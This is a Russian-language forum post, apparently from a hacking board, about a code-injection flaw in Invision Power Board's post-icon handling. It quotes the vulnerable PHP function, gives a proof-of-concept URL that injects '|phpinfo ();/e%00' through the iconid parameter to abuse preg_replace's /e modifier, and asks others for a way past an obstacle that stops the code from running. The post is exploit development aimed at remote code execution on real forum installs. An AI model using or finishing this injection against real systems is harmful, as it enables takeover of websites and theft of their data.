Решил глянуть эту уязвимость. Вот уязвимое место в коде IPB:
PHP код:
/* \forum\sources\classes\post\class_post.php */
/*-------------------------------------------------------------------------*/
// HTML: Post Icons
// ------------------
// Returns the HTML for post area, code buttons and
// post icons
/*-------------------------------------------------------------------------*/
function html_post_icons($post_icon="")
{
if ($this->ipsclass->input['iconid'])
{
$post_icon = $this->ipsclass->input['iconid'];
}
$this->ipsclass->lang['the_max_length'] = $this->ipsclass->vars['max_post_length'] * 1024;
$html = $this->ipsclass->compiled_templates['skin_post']->PostIcons();
if ( $post_icon )
{
//в следущей строке возможно исполнение кода
$html = preg_replace( "/name=[\"']iconid[\"']\s*value=[\"']$post_icon\s?[\"']/", "name='iconid' value='$post_icon' checked", $html );
$html = preg_replace( "/name=[\"']iconid[\"']\s*value=[\"']0[\"']\s*checked=['\"]checked['\"]/i" , "name='iconid' value='0'", $html );
}
return $html;
}
Все бы вроде хорошо, и использовать можно ее из браузера прямо в виде ссылки, например:
hxxp://127.0.0.1/forum/index.php?act=post&do=new_post&f=2&iconid=|phpinfo ();/e%00
Но из-за конструкции preg_replace всегда перед полезным кодом вставляется еще и бяка(name='iconid' value='), которую php естественно не воспринимает. Как обойти это дело, может какая то хитрость есть в php? Если что, то можно в личку :)
ЗЫ С moderate.php такая же проблема.
|